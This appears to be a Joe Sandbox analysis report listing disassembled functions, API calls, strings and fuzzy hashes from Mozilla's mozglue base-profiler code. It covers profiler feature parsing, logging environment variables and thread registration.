Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: d5025a93f5224055f87ee349110dcc3fc27665fe12573e866420ec87c1c2f92e
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: D322D771E00629CFCB14CF99C990AADF7B2BF88304F6491AAC549E7745D731A986CF90

Function 6C9F0512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 62ec972665fd210a835b597ee135b03890f392e096e932a6e55a67958a1deb58
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: FD222675E00659CFDB14CF98C890AADF7B6FF89308F548299C45AA7705D770A986CF80

Function 6CA3AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00be20431f9ea268ada2a4868eb78c3d8e27540d1ebb9f7d0c6e4ae0732835bf
Instruction ID: 7a747bf53f78423502c00a7eeb1beee5082ed240fdc4393c73049452d5ee4926
Opcode Fuzzy Hash: 00be20431f9ea268ada2a4868eb78c3d8e27540d1ebb9f7d0c6e4ae0732835bf
Instruction Fuzzy Hash: 90F116716087654FDB00CEA8C8A079AB7E3AFC5358F19961DE4D9C7781E3749CC98782

Function 6C9CC670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: dfb82e5490cff3a338d31215ee3760791ca91d6efe3005faf36053d22b4b18c8
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: BAA1A071F0061A8BDB08CE69C8913AEB7F2EFC8354F188169D915E7781DB349D068BD1

Function 6CA07710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: ebf0bda676f31cc6390450fd7ded071dc1870d50bd4b17a9b4b76c5f6991c6e2
Instruction ID: 80db138b6b455f390408ec339e23d195d06853ac49f4ed70124456fcde70d259
Opcode Fuzzy Hash: ebf0bda676f31cc6390450fd7ded071dc1870d50bd4b17a9b4b76c5f6991c6e2
Instruction Fuzzy Hash: 2A717D75E012198FCB08CF99D8905EDBBB2FF89358F28812ED416AB740D731A985CB90

Function 6CA058E0 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 5213db6b93217cbe55a891524426a9b63d9b279e74e83503362121f914ed654f
Instruction ID: 24e33a3b37468d98a730bf329ec1713d9fdca22c3561c97b541ad888c070260a
Opcode Fuzzy Hash: 5213db6b93217cbe55a891524426a9b63d9b279e74e83503362121f914ed654f
Instruction Fuzzy Hash: 19818F75E012199FCB04CFACD8809EEBBF2FF89358F648269D411AB741D731A945CB94

Function 6CA0CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C9D582D), ref: 6CA0CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C9D582D), ref: 6CA0CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6CA3FE98,?,?,?,?,?,6C9D582D), ref: 6CA0CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C9D582D), ref: 6CA0CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C9D582D), ref: 6CA0CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C9D582D), ref: 6CA0CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9D582D), ref: 6CA0CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6CA0CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6CA0CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6CA0CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6CA0CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6CA0CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6CA0CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6CA0CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6CA0CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6CA0CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6CA0CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6CA0CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6CA0CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6CA0CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6CA0CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6CA0CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6CA0CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6CA0CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6CA0CE8A

Strings

Unrecognized feature "%s"., xrefs: 6CA0CEA0
mainthreadio, xrefs: 6CA0CC7C
screenshots, xrefs: 6CA0CCD4
preferencereads, xrefs: 6CA0CD92
noiostacks, xrefs: 6CA0CCBE
cpuallthreads, xrefs: 6CA0CE16
processcpu, xrefs: 6CA0CE6E
seqstyle, xrefs: 6CA0CCE6
java, xrefs: 6CA0CC37
fileioall, xrefs: 6CA0CCA8
fileio, xrefs: 6CA0CC92
samplingallthreads, xrefs: 6CA0CE2C
stackwalk, xrefs: 6CA0CCF8
markersallthreads, xrefs: 6CA0CE42
notimerresolutionchange, xrefs: 6CA0CE00
nostacksampling, xrefs: 6CA0CD7C
default, xrefs: 6CA0CC21
ipcmessages, xrefs: 6CA0CDBE
unregisteredthreads, xrefs: 6CA0CE58
nativeallocations, xrefs: 6CA0CDA8
audiocallbacktracing, xrefs: 6CA0CDD4
jsallocations, xrefs: 6CA0CD0E
leaf, xrefs: 6CA0CC66
power, xrefs: 6CA0CE84

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: e75f6430d6c3438230b2272934a6c5b0cc32f394abd81009af0cfd326ba30cc4
Instruction ID: 8ff981bd831387a102349d10f1bc5f4ff37a3b6da788ec2dc75cd76d07e508c3
Opcode Fuzzy Hash: e75f6430d6c3438230b2272934a6c5b0cc32f394abd81009af0cfd326ba30cc4
Instruction Fuzzy Hash: D15191D2B4523556FA0031157E30BAA5409FB622CEF14653AED0EE5E80FB04A6CDD6B7

Function 6C9D47C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C9D4801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9D4817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9D482D
__Init_thread_footer.LIBCMT ref: 6C9D484A

Part of subcall function 6C9FAB3F: EnterCriticalSection.KERNEL32(6CA4E370,?,?,6C9C3527,6CA4F6CC,?,?,?,?,?,?,?,?,6C9C3284), ref: 6C9FAB49
Part of subcall function 6C9FAB3F: LeaveCriticalSection.KERNEL32(6CA4E370,?,6C9C3527,6CA4F6CC,?,?,?,?,?,?,?,?,6C9C3284,?,?,6C9E56F6), ref: 6C9FAB7C

GetCurrentThreadId.KERNEL32 ref: 6C9D485F
GetCurrentThreadId.KERNEL32 ref: 6C9D487E
AcquireSRWLockExclusive.KERNEL32(6CA4F4B8), ref: 6C9D488B
free.MOZGLUE(?), ref: 6C9D493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9D4956
free.MOZGLUE(00000000), ref: 6C9D4960
ReleaseSRWLockExclusive.KERNEL32(6CA4F4B8), ref: 6C9D499A

Part of subcall function 6C9FAB89: EnterCriticalSection.KERNEL32(6CA4E370,?,?,?,6C9C34DE,6CA4F6CC,?,?,?,?,?,?,?,6C9C3284), ref: 6C9FAB94
Part of subcall function 6C9FAB89: LeaveCriticalSection.KERNEL32(6CA4E370,?,6C9C34DE,6CA4F6CC,?,?,?,?,?,?,?,6C9C3284,?,?,6C9E56F6), ref: 6C9FABD1

free.MOZGLUE(?), ref: 6C9D49C6
free.MOZGLUE(?), ref: 6C9D49E9

Part of subcall function 6C9E5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C9E5EDB
Part of subcall function 6C9E5E90: memset.VCRUNTIME140(6CA27765,000000E5,55CCCCCC), ref: 6C9E5F27
Part of subcall function 6C9E5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C9E5FB2

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C9D4828
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C9D47FC
[I %d/%d] profiler_shutdown, xrefs: 6C9D4A06
MOZ_PROFILER_SHUTDOWN, xrefs: 6C9D4A42
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C9D4812

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 5063aad3702ff4a7724ac7ede4ee441aef016c84b4763d853ebc5cf2a976f073
Instruction ID: 2dda485ccb19783c691054619049ce00c3d82c9b7ac8fa4ec14ea8504dd7e98b
Opcode Fuzzy Hash: 5063aad3702ff4a7724ac7ede4ee441aef016c84b4763d853ebc5cf2a976f073
Instruction Fuzzy Hash: 2A812670A00A018FDB04EF28D84476A3375BF5232DF16C269D916A7B45E732F896CF96

Function 6C9D4470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9D4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C9D44B2,6CA4E21C,6CA4F7F8), ref: 6C9D473E
Part of subcall function 6C9D4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C9D474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C9D44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C9D44D2
InitOnceExecuteOnce.KERNEL32(6CA4F80C,6C9CF240,?,?), ref: 6C9D451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C9D455C
LoadLibraryW.KERNEL32(?), ref: 6C9D4592
InitializeCriticalSection.KERNEL32(6CA4F770), ref: 6C9D45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C9D45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C9D45BB
InitOnceExecuteOnce.KERNEL32(6CA4F818,6C9CF240,?,?), ref: 6C9D4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C9D4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C9D4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C9D466D
VerSetConditionMask.NTDLL ref: 6C9D469F
VerSetConditionMask.NTDLL ref: 6C9D46AB
VerSetConditionMask.NTDLL ref: 6C9D46B2
VerSetConditionMask.NTDLL ref: 6C9D46B9
VerSetConditionMask.NTDLL ref: 6C9D46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C9D46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C9D46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C9D46FD

Strings

NativeNtBlockSet_Write, xrefs: 6C9D46F7
user32.dll, xrefs: 6C9D4557, 6C9D463F
kernel32.dll, xrefs: 6C9D44CD
WRusr.dll, xrefs: 6C9D44B5
l, xrefs: 6C9D4578

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: 539c0288742563deffd0f6b8d5b8c164ac622279635bcdd60f3f30b23d31fd1a
Instruction ID: b59d3990d43a6f8c1007f44fa4848b9c4aa03771b02e40d766ee4eae9eadf9cd
Opcode Fuzzy Hash: 539c0288742563deffd0f6b8d5b8c164ac622279635bcdd60f3f30b23d31fd1a
Instruction Fuzzy Hash: AF6116B06047459FEB04AF64DC09B997BB8EF4630CF05C15CE504AB641D776E986CFA1

Function 6CA0E8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA07090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6CA0B9F1,?), ref: 6CA07107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6CA0DCF5), ref: 6CA0E92D
GetCurrentThreadId.KERNEL32 ref: 6CA0EA4F
AcquireSRWLockExclusive.KERNEL32(6CA4F4B8), ref: 6CA0EA5C
ReleaseSRWLockExclusive.KERNEL32(6CA4F4B8), ref: 6CA0EA80
GetCurrentThreadId.KERNEL32 ref: 6CA0EA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6CA0DCF5), ref: 6CA0EA92
GetCurrentThreadId.KERNEL32 ref: 6CA0EB11
AcquireSRWLockExclusive.KERNEL32(6CA4F4B8), ref: 6CA0EB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6CA0EB3C
ReleaseSRWLockExclusive.KERNEL32(6CA4F4B8), ref: 6CA0EB5B

Part of subcall function 6CA05710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CA0EB71), ref: 6CA057AB

Part of subcall function 6C9FCBE8: GetCurrentProcess.KERNEL32(?,6C9C31A7), ref: 6C9FCBF1
Part of subcall function 6C9FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9C31A7), ref: 6C9FCBFA

Part of subcall function 6CA09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C9D4A68), ref: 6CA0945E
Part of subcall function 6CA09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA09470
Part of subcall function 6CA09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA09482
Part of subcall function 6CA09420: __Init_thread_footer.LIBCMT ref: 6CA0949F

GetCurrentThreadId.KERNEL32 ref: 6CA0EBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6CA0EBAC

Part of subcall function 6CA094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA094EE
Part of subcall function 6CA094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA09508

GetCurrentThreadId.KERNEL32 ref: 6CA0EBC1
AcquireSRWLockExclusive.KERNEL32(6CA4F4B8,?,?,00000000), ref: 6CA0EBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6CA0EBE5
ReleaseSRWLockExclusive.KERNEL32(6CA4F4B8,00000000), ref: 6CA0EC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CA0EC46
CloseHandle.KERNEL32(?), ref: 6CA0EC55
free.MOZGLUE(00000000), ref: 6CA0EC5C

Strings

[I %d/%d] profiler_start, xrefs: 6CA0EBB4
[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6CA0EA9B

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: de0aa03b617c0b259ed7bd60f4839b5f8c7305e0f02fa16d8403e7973a4856ba
Instruction ID: b9cde0692954290a95ed077ea9f929c43a12553bd7099c79e01b7c956ece0433
Opcode Fuzzy Hash: de0aa03b617c0b259ed7bd60f4839b5f8c7305e0f02fa16d8403e7973a4856ba
Instruction Fuzzy Hash: DDA13A317017058FCB08AF68E844BAA77B5FF8635CF14C12DD95987B41DB729886C7A1

Function 6CA0F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C9D4A68), ref: 6CA0945E
Part of subcall function 6CA09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA09470
Part of subcall function 6CA09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA09482
Part of subcall function 6CA09420: __Init_thread_footer.LIBCMT ref: 6CA0949F

GetCurrentThreadId.KERNEL32 ref: 6CA0F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6CA0F8F9

Part of subcall function 6C9D6390: GetCurrentThreadId.KERNEL32 ref: 6C9D63D0
Part of subcall function 6C9D6390: AcquireSRWLockExclusive.KERNEL32 ref: 6C9D63DF
Part of subcall function 6C9D6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C9D640E

ReleaseSRWLockExclusive.KERNEL32(6CA4F4B8), ref: 6CA0F93A
GetCurrentThreadId.KERNEL32 ref: 6CA0F98A
GetCurrentThreadId.KERNEL32 ref: 6CA0F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA0F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA0F716

Part of subcall function 6CA094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA094EE
Part of subcall function 6CA094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA09508

Part of subcall function 6C9CB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C9CB5E0

GetCurrentThreadId.KERNEL32 ref: 6CA0F739
AcquireSRWLockExclusive.KERNEL32(6CA4F4B8), ref: 6CA0F746
GetCurrentThreadId.KERNEL32 ref: 6CA0F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6CA4385B,00000002,?,?,?,?,?), ref: 6CA0F829
free.MOZGLUE(?,?,00000000,?), ref: 6CA0F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6CA0F866
free.MOZGLUE(?), ref: 6CA0FA0C

Part of subcall function 6C9D5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9D55E1), ref: 6C9D5E8C
Part of subcall function 6C9D5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9D5E9D
Part of subcall function 6C9D5E60: GetCurrentThreadId.KERNEL32 ref: 6C9D5EAB
Part of subcall function 6C9D5E60: GetCurrentThreadId.KERNEL32 ref: 6C9D5EB8
Part of subcall function 6C9D5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9D5ECF
Part of subcall function 6C9D5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C9D5F27
Part of subcall function 6C9D5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C9D5F47
Part of subcall function 6C9D5E60: GetCurrentProcess.KERNEL32 ref: 6C9D5F53
Part of subcall function 6C9D5E60: GetCurrentThread.KERNEL32 ref: 6C9D5F5C
Part of subcall function 6C9D5E60: GetCurrentProcess.KERNEL32 ref: 6C9D5F66
Part of subcall function 6C9D5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C9D5F7E

free.MOZGLUE(?), ref: 6CA0F9C5
free.MOZGLUE(?), ref: 6CA0F9DA

Strings

[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6CA0F9A6
" attempted to re-register as ", xrefs: 6CA0F858
Thread , xrefs: 6CA0F789
[D %d/%d] profiler_register_thread(%s), xrefs: 6CA0F71F

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
